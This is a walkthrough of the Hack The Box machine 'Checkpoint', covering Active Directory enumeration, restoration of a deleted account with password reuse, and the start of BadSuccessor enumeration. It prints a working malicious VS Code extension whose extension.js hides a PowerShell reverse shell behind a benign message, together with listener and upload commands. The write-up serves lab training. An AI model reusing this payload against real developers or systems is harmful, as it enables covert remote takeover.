POSTS

HTB: Checkpoint

Checkpoint is a Medium-rated Windows Active Directory machine where restoring a deleted AD object and reusing a known password grants write access to a share used for software package approval, allowing a malicious package to be uploaded for initial code execution. Lateral movement abuses CVE-2025-53779 (BadSuccessor), a privilege escalation technique affecting Windows Server 2025, to gain access as a service account. Privilege escalation to Administrator is achieved through memory forensics against virtual machine snapshot files found on a backup share.

HTB: Checkpoint
4980 words · 24 min

Overview

Information

As is common in real life pentests, you will start the Checkpoint box with credentials for the following account alex.turner / Checkpoint2024!

Attack Paths

Initial Foothold - AD Recycle Bin (Tombstone) object restore via GenericWrite + password reuse
                     |
                     [mark.davies]
                     |
                     v
Initial Access - Malicious VS Code extension (.vsix) uploaded to writable DevDrop share
                     |
                     [Shell as ryan.brooks]
                     _(user flag)_
                     |
                     v
Lateral Movement - CVE-2025-53779 (BadSuccessor) dMSA abuse via SharpSuccessor/bloodyAD
                     |
                     [svc_deploy access]
                     |
                     v
Privilege Escalation - VMware snapshot memory forensics (.vmem/.vmsn) via VMkatz/Volatility3
                     |
                     |
                     v
                     [Root shell]
                     _(root flag)_

Enumeration

Nmap

$ nmap -sCV -Pn -p- --min-rate=1000 -T4 10.129.xx.xx
Starting Nmap 7.99 ( https://nmap.org )
Nmap scan report for 10.129.xx.xx
Host is up (0.28s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT      STATE SERVICE           VERSION
53/tcp    open  domain            Simple DNS Plus
88/tcp    open  kerberos-sec      Microsoft Windows Kerberos (server time: 2026-06-14 07:52:29Z)
135/tcp   open  msrpc             Microsoft Windows RPC
139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ldapssl?
3268/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name)
3269/tcp  open  globalcatLDAPssl?
5985/tcp  open  http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf            .NET Message Framing
49664/tcp open  msrpc             Microsoft Windows RPC
49678/tcp open  msrpc             Microsoft Windows RPC
49679/tcp open  msrpc             Microsoft Windows RPC
49683/tcp open  msrpc             Microsoft Windows RPC
49684/tcp open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
49687/tcp open  msrpc             Microsoft Windows RPC
49714/tcp open  msrpc             Microsoft Windows RPC
49723/tcp open  msrpc             Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Add to /etc/hosts: echo ‘10.129.xx.xx dc01.checkpoint.htb checkpoint.htb’ | sudo tee -a /etc/hosts

Users & Shares

$ nxc smb dc01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --users --shares
SMB         10.129.xx.xx  445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB         10.129.xx.xx  445    DC01             [+] checkpoint.htb\alex.turner:Checkpoint2024! 
SMB         10.129.xx.xx  445    DC01             [*] Enumerated shares
SMB         10.129.xx.xx  445    DC01             Share           Permissions     Remark
SMB         10.129.xx.xx  445    DC01             -----           -----------     ------
SMB         10.129.xx.xx  445    DC01             ADMIN$                          Remote Admin
SMB         10.129.xx.xx  445    DC01             C$                              Default share
SMB         10.129.xx.xx  445    DC01             DevDrop         READ            VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0
SMB         10.129.xx.xx  445    DC01             IPC$            READ            Remote IPC
SMB         10.129.xx.xx  445    DC01             NETLOGON        READ            Logon server share 
SMB         10.129.xx.xx  445    DC01             SYSVOL          READ            Logon server share 
SMB         10.129.xx.xx  445    DC01             VMBackups                       
SMB         10.129.xx.xx  445    DC01             -Username-                    -Last PW Set-       -BadPW- -Description-                                               
SMB         10.129.xx.xx  445    DC01             Administrator                 2026-05-09 16:16:34 0       Built-in account for administering the computer/domain 
SMB         10.129.xx.xx  445    DC01             Guest                         <never>             0       Built-in account for guest access to the computer/domain 
SMB         10.129.xx.xx  445    DC01             krbtgt                        2026-05-09 08:41:01 0       Key Distribution Center Service Account 
SMB         10.129.xx.xx  445    DC01             alex.turner                   2026-05-09 09:00:08 0        
SMB         10.129.xx.xx  445    DC01             ryan.brooks                   2026-05-10 13:46:18 0        
SMB         10.129.xx.xx  445    DC01             svc_deploy                    2026-05-09 09:01:19 0       Deployment service account 
SMB         10.129.xx.xx  445    DC01             james.harper                  2026-05-09 09:02:53 0        
SMB         10.129.xx.xx  445    DC01             sarah.mitchell                2026-05-09 09:02:58 0        
SMB         10.129.xx.xx  445    DC01             emily.carter                  2026-05-09 09:03:05 0        
SMB         10.129.xx.xx  445    DC01             david.reynolds                2026-05-09 09:03:11 0        
SMB         10.129.xx.xx  445    DC01             jessica.coleman               2026-05-09 09:03:15 0        
SMB         10.129.xx.xx  445    DC01             lauren.flores                 2026-05-09 09:03:21 0        
SMB         10.129.xx.xx  445    DC01             michael.torres                2026-05-09 09:03:28 0        
SMB         10.129.xx.xx  445    DC01             kevin.patterson               2026-05-09 09:03:33 0        
SMB         10.129.xx.xx  445    DC01             brian.jenkins                 2026-05-09 09:03:37 0        
SMB         10.129.xx.xx  445    DC01             megan.perry                   2026-05-09 09:03:42 0        
SMB         10.129.xx.xx  445    DC01             max.palmer                    2026-05-26 01:25:15 0        
SMB         10.129.xx.xx  445    DC01             [*] Enumerated 17 local users: CHECKPOINT

We have READ access to the DevDrop share with the description VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0.

SMB share reading with alex.turner

$ pipx install smbclientng
$ smbng -u alex.turner -p 'Checkpoint2024!' --host dc01.checkpoint.htb
               _          _ _            _
 ___ _ __ ___ | |__   ___| (_) ___ _ __ | |_      _ __   __ _
/ __| '_ ` _ \| '_ \ / __| | |/ _ \ '_ \| __|____| '_ \ / _` |
\__ \ | | | | | |_) | (__| | |  __/ | | | ||_____| | | | (_| |
|___/_| |_| |_|_.__/ \___|_|_|\___|_| |_|\__|    |_| |_|\__, |
    by @podalirius_                             v3.0.0  |___/
    
[+] Successfully authenticated to 'dc01.checkpoint.htb' as '.\alex.turner'!
■[\\dc01.checkpoint.htb\]> use DevDrop
■[\\dc01.checkpoint.htb\DevDrop\]> ls
d-------     0.00 B  2026-05-27 06:45  .\
d-------     0.00 B  2026-05-09 23:42  ..\
■[\\dc01.checkpoint.htb\DevDrop\]> quit

Nothing in the DevDrop share with the user alex.turner.

Active Directory assessing

Disable NTP autoupdate then sync our time with the DC time:

$ sudo ntpdate -u dc01.checkpoint.htb && date

Generate krb5.conf file then ingest into the global env variable:

$ nxc smb dc01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --generate-krb5-file krb5.conf
SMB         10.129.xx.xx    445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB         10.129.xx.xx    445    DC01             [+] krb5 conf saved to: krb5.conf
SMB         10.129.xx.xx    445    DC01             [+] Run the following command to use the conf file: export KRB5_CONFIG=krb5.conf
SMB         10.129.xx.xx    445    DC01             [+] checkpoint.htb\alex.turner:Checkpoint2024! 

$ export KRB5_CONFIG=krb5.conf

Generate a TGT then ingest into the global env variable:

$ nxc smb dc01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --generate-tgt alex.turner.ccache 
SMB         10.129.xx.xx    445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB         10.129.xx.xx    445    DC01             [+] checkpoint.htb\alex.turner:Checkpoint2024! 
SMB         10.129.xx.xx    445    DC01             [+] TGT saved to: alex.turner.ccache
SMB         10.129.xx.xx    445    DC01             [+] Run the following command to use the TGT: export KRB5CCNAME=alex.turner.ccache

$ export KRB5CCNAME=alex.turner.ccache
$ klist
Ticket cache: FILE:alex.turner.ccache
Default principal: alex.turner@CHECKPOINT.HTB

Valid starting       Expires              Service principal
06/16/2026 02:55:36  06/16/2026 12:55:36  krbtgt/CHECKPOINT.HTB@CHECKPOINT.HTB
	renew until 06/17/2026 02:55:34

Start our BH collection via RustHound:

$ sudo apt -y update && sudo apt -y install gcc clang libclang-dev libgssapi-krb5-2 libkrb5-dev libsasl2-modules-gssapi-mit musl-tools gcc-mingw-w64-x86-64
$ cargo install rusthound-ce
$ rusthound-ce --kerberos -d checkpoint.htb -f dc01.checkpoint.htb -c All -o . -z                        
---------------------------------------------------
Initializing RustHound-CE at 02:58:46 on 06/16/26
Powered by @g0h4n_0
---------------------------------------------------

[2026-06-15T17:58:46Z INFO  rusthound_ce] Verbosity level: Info
[2026-06-15T17:58:46Z INFO  rusthound_ce] Collection method: All
[2026-06-15T17:58:49Z INFO  rusthound_ce::ldap] Connected to CHECKPOINT.HTB Active Directory!
[2026-06-15T17:58:49Z INFO  rusthound_ce::ldap] Starting data collection...
[2026-06-15T17:58:49Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-06-15T17:58:51Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=checkpoint,DC=htb
[2026-06-15T17:58:51Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-06-15T17:58:55Z INFO  rusthound_ce::ldap] All data collected for NamingContext CN=Configuration,DC=checkpoint,DC=htb
[2026-06-15T17:58:55Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-06-15T17:58:58Z INFO  rusthound_ce::ldap] All data collected for NamingContext CN=Schema,CN=Configuration,DC=checkpoint,DC=htb
[2026-06-15T17:58:58Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-06-15T17:58:59Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=DomainDnsZones,DC=checkpoint,DC=htb
[2026-06-15T17:58:59Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-06-15T17:58:59Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=ForestDnsZones,DC=checkpoint,DC=htb
[2026-06-15T17:58:59Z INFO  rusthound_ce::api] Starting the LDAP objects parsing...
[2026-06-15T17:58:59Z INFO  rusthound_ce::api] Parsing LDAP objects finished!
[2026-06-15T17:58:59Z INFO  rusthound_ce::json::checker] Starting checker to replace some values...
[2026-06-15T17:58:59Z INFO  rusthound_ce::json::checker] Checking and replacing some values finished!
[2026-06-15T17:58:59Z INFO  rusthound_ce::json::maker::common] 18 users parsed!
[2026-06-15T17:58:59Z INFO  rusthound_ce::json::maker::common] 70 groups parsed!
[2026-06-15T17:58:59Z INFO  rusthound_ce::json::maker::common] 1 computers parsed!
[2026-06-15T17:58:59Z INFO  rusthound_ce::json::maker::common] 8 ous parsed!
[2026-06-15T17:58:59Z INFO  rusthound_ce::json::maker::common] 1 domains parsed!
[2026-06-15T17:58:59Z INFO  rusthound_ce::json::maker::common] 2 gpos parsed!
[2026-06-15T17:58:59Z INFO  rusthound_ce::json::maker::common] 73 containers parsed!
[2026-06-15T17:58:59Z INFO  rusthound_ce::json::maker::common] ./20260616025859_checkpoint-htb_rusthound-ce.zip created!

RustHound-CE Enumeration Completed at 02:58:59 on 06/16/26! Happy Graphing!

We tried also using Netexec or Bloodyhound-ce-python but both have issue with ldap auth using kerberos or issue with the dns resolution because even if ipv6 is disable, they continue to use ipv4 and ipv6 resolution for dc01 but as ipv6 answer is a dead fake ip then that failed.

$ nxc ldap dc01.checkpoint.htb -d checkpoint.htb --use-kcache --kdcHost dc01.checkpoint.htb --dns-server 10.129.xx.xx --bloodhound --collection All 
LDAP        dc01.checkpoint.htb 389    DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:checkpoint.htb) (signing:Enforced) (channel binding:No TLS cert) 
LDAP        dc01.checkpoint.htb 389    DC01             [+] checkpoint.htb\alex.turner from ccache 
LDAP        dc01.checkpoint.htb 389    DC01             Resolved collection methods: psremote, group, localadmin, trusts, container, session, objectprops, dcom, rdp, acl
LDAP        dc01.checkpoint.htb 389    DC01             Using kerberos auth from ccache
[03:03:20] ERROR    Failure to authenticate with LDAP! Error 8009030C: LdapErr: DSID-0C0908D6, comment: AcceptSecurityContext    authentication.py:178
                    error, data 52e, v65f4 : Code: 49                                                                                                 
LDAP        dc01.checkpoint.htb 389    DC01             [-] BloodHound collection failed: CollectionException - Could not authenticate to LDAP. Check your credentials and LDAP server requirements.

We use GriffonAD for a quick analysis:

$ pipx install git+https://github.com/shellinvictus/GriffonAD
  installed package griffon 0.6.23, installed using Python 3.13.12
  These apps are now available
    - griffon
done! ✨ 🌟 ✨
$ griffon 20260616025859_checkpoint-htb_rusthound-ce.zip                           
[+] extracting 20260616025859_checkpoint-htb_rusthound-ce.zip
[+] found 7 JSON files in zip

♦USER the user is an admin
★USER there is a path to gain admin privileges
USER the user is owned
USER the user is disabled
A  admincount is set (this flag doesn't tell that the user is an admin, it could be an old admin)
K  the user may be Kerberoastable (at least one SPN is set)
N  DONT_REQUIRE_PREAUTH (ASREPRoastable)
P  the user is in the Protected group
!R PASSWORD_NOTREQUIRED (it means the password can be empty)
S  SENSITIVE
T  TRUSTED_TO_AUTH_FOR_DELEGATION (it means you can impersonate to admin in constrained delegations)
!X DONT_EXPIRE_PASSWORD

♦ADMINISTRATOR A !X
    < ♦DOMAIN ADMINS
    < SCHEMA ADMINS
    < GROUP POLICY CREATOR OWNERS
    < DENIED RODC PASSWORD REPLICATION GROUP
    < ♦ENTERPRISE ADMINS
    GenericAll(♦CHECKPOINT.HTB)
★DC01$ K
    < 
    GetChanges_GetChangesInFilteredSet(♦CHECKPOINT.HTB)
    AllowedToDelegate(many)
♦MAX.PALMER A !X
    < ♦DOMAIN ADMINS
    < DENIED RODC PASSWORD REPLICATION GROUP
    AllExtendedRights(♦CHECKPOINT.HTB)
RYAN.BROOKS !X
    < DEVTEAM
    < VPN-USERS
    GenericWrite(SVC_DEPLOY)
SVC_DEPLOY !X
    < BACKUPACCESS
    < BUILTIN\REMOTE MANAGEMENT USERS
    CanPSRemote(many)

Attack path seems ALEX.TURNER –> RYAN.BROOKS –> SVC_DEPLOY –> MAX.PALMER

For the sake, we will double check with BHCE.

If first time to use BloodHound Community Edition, follow then the step below to install it on debian or kali (better with Docker Desktop, but if under VMWare then not possible to do it because if Hypervisor limitation):

sudo apt update
sudo apt install ca-certificates curl
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/debian/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc
  • Add the repository to Apt sources (for derivative distro, such as Kali Linux 2025.4):
echo \
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/debian \
  trixie stable" | \
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update
  • Install the Docker packages:
$ sudo apt install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
  • Download the latest release of BloodHound CLI:
$ mkdir BHCE;cd BHCE
$ wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
  • Unpack the file:
$ tar -xvzf bloodhound-cli-linux-amd64.tar.gz
  • Install BloodHound Community Edition via BloodHound CLI:
$ sudo ./bloodhound-cli install

Then analysis:

Ok we have some steps but we don’t have yet anything to go from ALEX.TURNER to RYAN.BROOKS…

Tombstone object exploiting (mark.davies)

Let’s check the AD objects that can be controlled by alex.turner (including deleted objects):

$ bloodyad --host dc01.checkpoint.htb -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -include-del get writable

distinguishedName: CN=Deleted Objects,DC=checkpoint,DC=htb
DACL: WRITE

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=checkpoint,DC=htb
permission: WRITE

distinguishedName: OU=Employees,DC=checkpoint,DC=htb
permission: CREATE_CHILD

distinguishedName: CN=Alex Turner,OU=Employees,DC=checkpoint,DC=htb
permission: WRITE

distinguishedName: CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb
permission: WRITE

distinguishedName: DC=checkpoint.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=checkpoint,DC=htb
permission: CREATE_CHILD

distinguishedName: DC=_msdcs.checkpoint.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=checkpoint,DC=htb
permission: CREATE_CHILD

Restore the Deleted Object:

$ bloodyad --host dc01.checkpoint.htb -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' set restore 'CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb'
[+] CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb has been restored successfully under CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb

mark.davies is restored.

Check it with a fresh collection:

$ rusthound-ce --kerberos -d checkpoint.htb -f dc01.checkpoint.htb -c All -o . -z
---------------------------------------------------
Initializing RustHound-CE at 04:01:15 on 06/16/26
Powered by @g0h4n_0
---------------------------------------------------

[2026-06-15T19:01:15Z INFO  rusthound_ce] Verbosity level: Info
[2026-06-15T19:01:15Z INFO  rusthound_ce] Collection method: All
[2026-06-15T19:01:17Z INFO  rusthound_ce::ldap] Connected to CHECKPOINT.HTB Active Directory!
[2026-06-15T19:01:17Z INFO  rusthound_ce::ldap] Starting data collection...
[2026-06-15T19:01:17Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-06-15T19:01:25Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=checkpoint,DC=htb
[2026-06-15T19:01:25Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-06-15T19:01:30Z INFO  rusthound_ce::ldap] All data collected for NamingContext CN=Configuration,DC=checkpoint,DC=htb
[2026-06-15T19:01:30Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-06-15T19:01:33Z INFO  rusthound_ce::ldap] All data collected for NamingContext CN=Schema,CN=Configuration,DC=checkpoint,DC=htb
[2026-06-15T19:01:33Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-06-15T19:01:33Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=DomainDnsZones,DC=checkpoint,DC=htb
[2026-06-15T19:01:33Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-06-15T19:01:34Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=ForestDnsZones,DC=checkpoint,DC=htb
[2026-06-15T19:01:34Z INFO  rusthound_ce::api] Starting the LDAP objects parsing...
[2026-06-15T19:01:34Z INFO  rusthound_ce::api] Parsing LDAP objects finished!
[2026-06-15T19:01:34Z INFO  rusthound_ce::json::checker] Starting checker to replace some values...
[2026-06-15T19:01:34Z INFO  rusthound_ce::json::checker] Checking and replacing some values finished!
[2026-06-15T19:01:34Z INFO  rusthound_ce::json::maker::common] 19 users parsed!
[2026-06-15T19:01:34Z INFO  rusthound_ce::json::maker::common] 70 groups parsed!
[2026-06-15T19:01:34Z INFO  rusthound_ce::json::maker::common] 1 computers parsed!
[2026-06-15T19:01:34Z INFO  rusthound_ce::json::maker::common] 8 ous parsed!
[2026-06-15T19:01:34Z INFO  rusthound_ce::json::maker::common] 1 domains parsed!
[2026-06-15T19:01:34Z INFO  rusthound_ce::json::maker::common] 2 gpos parsed!
[2026-06-15T19:01:34Z INFO  rusthound_ce::json::maker::common] 73 containers parsed!
[2026-06-15T19:01:34Z INFO  rusthound_ce::json::maker::common] ./20260616040134_checkpoint-htb_rusthound-ce.zip created!

RustHound-CE Enumeration Completed at 04:01:34 on 06/16/26! Happy Graphing!
$ griffon 20260616040134_checkpoint-htb_rusthound-ce.zip 
[+] extracting 20260616040134_checkpoint-htb_rusthound-ce.zip
[+] found 7 JSON files in zip

♦USER the user is an admin
★USER there is a path to gain admin privileges
USER the user is owned
USER the user is disabled
A  admincount is set (this flag doesn't tell that the user is an admin, it could be an old admin)
K  the user may be Kerberoastable (at least one SPN is set)
N  DONT_REQUIRE_PREAUTH (ASREPRoastable)
P  the user is in the Protected group
!R PASSWORD_NOTREQUIRED (it means the password can be empty)
S  SENSITIVE
T  TRUSTED_TO_AUTH_FOR_DELEGATION (it means you can impersonate to admin in constrained delegations)
!X DONT_EXPIRE_PASSWORD

♦ADMINISTRATOR A !X
    < GROUP POLICY CREATOR OWNERS
    < ♦DOMAIN ADMINS
    < SCHEMA ADMINS
    < ♦ENTERPRISE ADMINS
    < DENIED RODC PASSWORD REPLICATION GROUP
    GenericAll(♦CHECKPOINT.HTB)
ALEX.TURNER !X
    < IT-STAFF
    < VPN-USERS
    GenericWrite(MARK.DAVIES)
★DC01$ K
    < 
    GetChanges_GetChangesInFilteredSet(♦CHECKPOINT.HTB)
    AllowedToDelegate(many)
♦MAX.PALMER A !X
    < DENIED RODC PASSWORD REPLICATION GROUP
    < ♦DOMAIN ADMINS
    AllExtendedRights(♦CHECKPOINT.HTB)
RYAN.BROOKS !X
    < DEVTEAM
    < VPN-USERS
    GenericWrite(SVC_DEPLOY)
SVC_DEPLOY !X
    < BACKUPACCESS
    < BUILTIN\REMOTE MANAGEMENT USERS
    CanPSRemote(many)

ALEX.TURNER has GenericWrite to MARK.DAVIES

Try to authenticate reusing the known password:

$ nxc smb dc01.checkpoint.htb -u mark.davies -p 'Checkpoint2024!'         
SMB         10.129.xx.xx    445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB         10.129.xx.xx    445    DC01             [+] checkpoint.htb\mark.davies:Checkpoint2024! 

Confirmed.

Enumerate again the smb shares:

$ nxc smb dc01.checkpoint.htb -u mark.davies -p 'Checkpoint2024!' --shares
SMB         10.129.xx.xx    445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB         10.129.xx.xx    445    DC01             [+] checkpoint.htb\mark.davies:Checkpoint2024! 
SMB         10.129.xx.xx    445    DC01             [*] Enumerated shares
SMB         10.129.xx.xx    445    DC01             Share           Permissions     Remark
SMB         10.129.xx.xx    445    DC01             -----           -----------     ------
SMB         10.129.xx.xx    445    DC01             ADMIN$                          Remote Admin
SMB         10.129.xx.xx    445    DC01             C$                              Default share
SMB         10.129.xx.xx    445    DC01             DevDrop         READ,WRITE      VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0
SMB         10.129.xx.xx    445    DC01             IPC$            READ            Remote IPC
SMB         10.129.xx.xx    445    DC01             NETLOGON        READ            Logon server share 
SMB         10.129.xx.xx    445    DC01             SYSVOL          READ            Logon server share 
SMB         10.129.xx.xx    445    DC01             VMBackups             

We have WRITE access to DevDrop. We see also a new share VMBackups then as SVC_DEPLOY (Deployment service account) is a member of the group BACKUPACCESS then he should be able to access.

Initial Access - Malicious VS Code extension crafting (ryan.brooks) (user)

We have write access to the smb share DevDrop and this folder is used for approval of VS Code extensions packages (.vsix) compatible with VS Code engine 1.118.0.

VS Code extensions are ZIP archives with specific files. To achieve code execution when the extension loads, we rely on the activationEvents trigger and the main script (no user interaction).

There are many ways to craft, below is one of possible way to create the .vsix payload using the official method derived from the Metasploit Framework (added comments for the knowledge tranfer via this writeup):

  1. Prepare the Malicious extension.js

This is the core script. When the extension activates, it will execute the PowerShell reverse shell command hidden inside a vscode.window.showInformationMessage (to look benign):

$ mkdir -p vsix-payload/extension
$ cat vsix-payload/extension/extension.js 
const vscode = require('vscode');

function activate(context) {
    // Display a friendly message to the user to avoid suspicion
    vscode.window.showInformationMessage('Checkpoint Tools: Activated successfully.');

    // --- Malicious Payload ---
    // Command to execute PowerShell reverse shell to 10.10.16.xx:443
    const psCommand = `powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$c=New-Object System.Net.Sockets.TCPClient('10.10.16.xx',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1 | Out-String );$sb2=$sb + 'PS ' + (pwd).Path + '> ';$sbt=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$c.Close()"`;

    // Execute the command hidden
    const { exec } = require('child_process');
    exec(psCommand, (error, stdout, stderr) => {
        // Silent fail to avoid errors in VS Code console
        if (error) { console.log(error); }
    });
}

function deactivate() {}

module.exports = { activate, deactivate }
  1. Configure the Extension Manifest package.json

We need the specific configuration: activationEvents set to ["*"] and engines.vscode set to ^1.118.0:

$ cat vsix-payload/extension/package.json 
{
    "name": "checkpoint-tools",
    "displayName": "Checkpoint Tools",
    "description": "Essential toolkit for checkpoint debugging by RPWN",
    "version": "1.0.0",
    "publisher": "ryan-dev",
    "engines": {
        "vscode": "^1.118.0"
    },
    "activationEvents": ["*"],
    "main": "./extension.js"
}
  1. Create the VSIX Package extension.vsixmanifest

We need a .vsixmanifest file to tell VS Code how to install the extension:

$ cat vsix-payload/extension.vsixmanifest 
<?xml version="1.0" encoding="utf-8"?>
<PackageManifest Version="2.0.0" xmlns="http://schemas.microsoft.com/developer/vsx-schema/2011">
    <Metadata>
        <Identity Id="checkpoint-tools" Version="1.0.0" Publisher="ryan-dev" />
        <DisplayName>Checkpoint Tools</DisplayName>
        <Description>Essential tools for the Checkpoint machine</Description>
    </Metadata>
    <Installation>
        <InstallationTarget Id="Microsoft.VisualStudio.Code" />
    </Installation>
    <Assets>
        <Asset Type="Microsoft.VisualStudio.Code.Manifest" Path="extension/package.json" />
    </Assets>
</PackageManifest>
  1. Build the Payload checkpoint-tools-1.0.0.vsix

Our folder structure:

$ tree vsix-payload 
vsix-payload
├── extension
│   ├── extension.js
│   └── package.json
└── extension.vsixmanifest

Zip it into our final file (the malicious package):

$ cd vsix-payload                        
$ zip -r checkpoint-tools-1.0.0.vsix .
updating: extension/ (stored 0%)
updating: extension/package.json (deflated 39%)
updating: extension/extension.js (deflated 40%)
updating: extension.vsixmanifest (deflated 49%)
$ tree              
.
├── checkpoint-tools-1.0.0.vsix
├── extension
│   ├── extension.js
│   └── package.json
└── extension.vsixmanifest

$ cp checkpoint-tools-1.0.0.vsix ../.; cd ..
  1. Start our listener
$ penelope -i tun0 -p 443                                   
[+] Listening for reverse shells on 10.10.16.xx:443 
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
  1. Upload to the target (will be then executed automatically)
$ smbng -u mark.davies -p 'Checkpoint2024!' --host dc01.checkpoint.htb -C 'use DevDrop' -C 'put checkpoint-tools-1.0.0.vsix' -N 
               _          _ _            _
 ___ _ __ ___ | |__   ___| (_) ___ _ __ | |_      _ __   __ _
/ __| '_ ` _ \| '_ \ / __| | |/ _ \ '_ \| __|____| '_ \ / _` |
\__ \ | | | | | |_) | (__| | |  __/ | | | ||_____| | | | (_| |
|___/_| |_| |_|_.__/ \___|_|_|\___|_| |_|\__|    |_| |_|\__, |
    by @podalirius_                             v3.0.0  |___/
    
[+] Successfully authenticated to 'dc01.checkpoint.htb' as '.\mark.davies'!
■[\\dc01.checkpoint.htb\]> use DevDrop
■[\\dc01.checkpoint.htb\DevDrop\]> put checkpoint-tools-1.0.0.vsix
'checkpoint-tools-1.0.0.vsix' ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 1.8/1.8 kB • ? • 0:00:00
  1. Get our shell as ryan.brooks
[+] [New Reverse Shell] => dc01.checkpoint.htb 10.129.xx.xx WINDOWS 👤 checkpoint\ryan.brooks 😍️ Session ID <1>
[+] Added readline support...
[+] Interacting with session [1] • Readline • Menu key Ctrl-D ⇐
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
PS C:\Program Files\Microsoft VS Code> whoami
checkpoint\ryan.brooks
  1. Grab the user flag
PS C:\Program Files\Microsoft VS Code> type c:\users\ryan.brooks\desktop\user.txt
<REDACTED>

Lateral movement - CVE-2025-53779 aka BadSuccessor (svc_deploy)

Tip

We know that now our goal is to escalate from RYAN.BROOKS –> SVC_DEPLOY.

We did not find any quick finding then let’s check the version fo this Windows server:

PS C:\Program Files\Microsoft VS Code> Get-CimInstance -ClassName Win32_OperatingSystem | Select-Object Caption, Version, BuildNumber

Caption                                Version    BuildNumber
-------                                -------    -----------
Microsoft Windows Server 2025 Standard 10.0.26100 26100

Seems vulnerable to the CVE-2025-53779 aka BadSuccessor, because to mitigate the direct exploitation path, Domain Controllers must be updated to build 26100.4946 or later.

Let’s double check using Akamai - Get-BadSuccessorOUPermissions.ps1:

PS C:\Program Files\Microsoft VS Code> cd c:\windows\tasks
PS C:\windows\tasks> <Ctrl-D>

[!] Session detached ⇲

(Penelope)─(Session [1])> upload Get-BadSuccessorOUPermissions.ps1
[+] Upload OK "C:\Windows\Tasks\Get-BadSuccessorOUPermissions.ps1"

(Penelope)─(Session [1])> sessions 1
PS C:\windows\tasks> .\Get-BadSuccessorOUPermissions.ps1

Identity               OUs                                 
--------               ---                                 
CHECKPOINT\ryan.brooks {OU=DMSAHolder,DC=checkpoint,DC=htb}
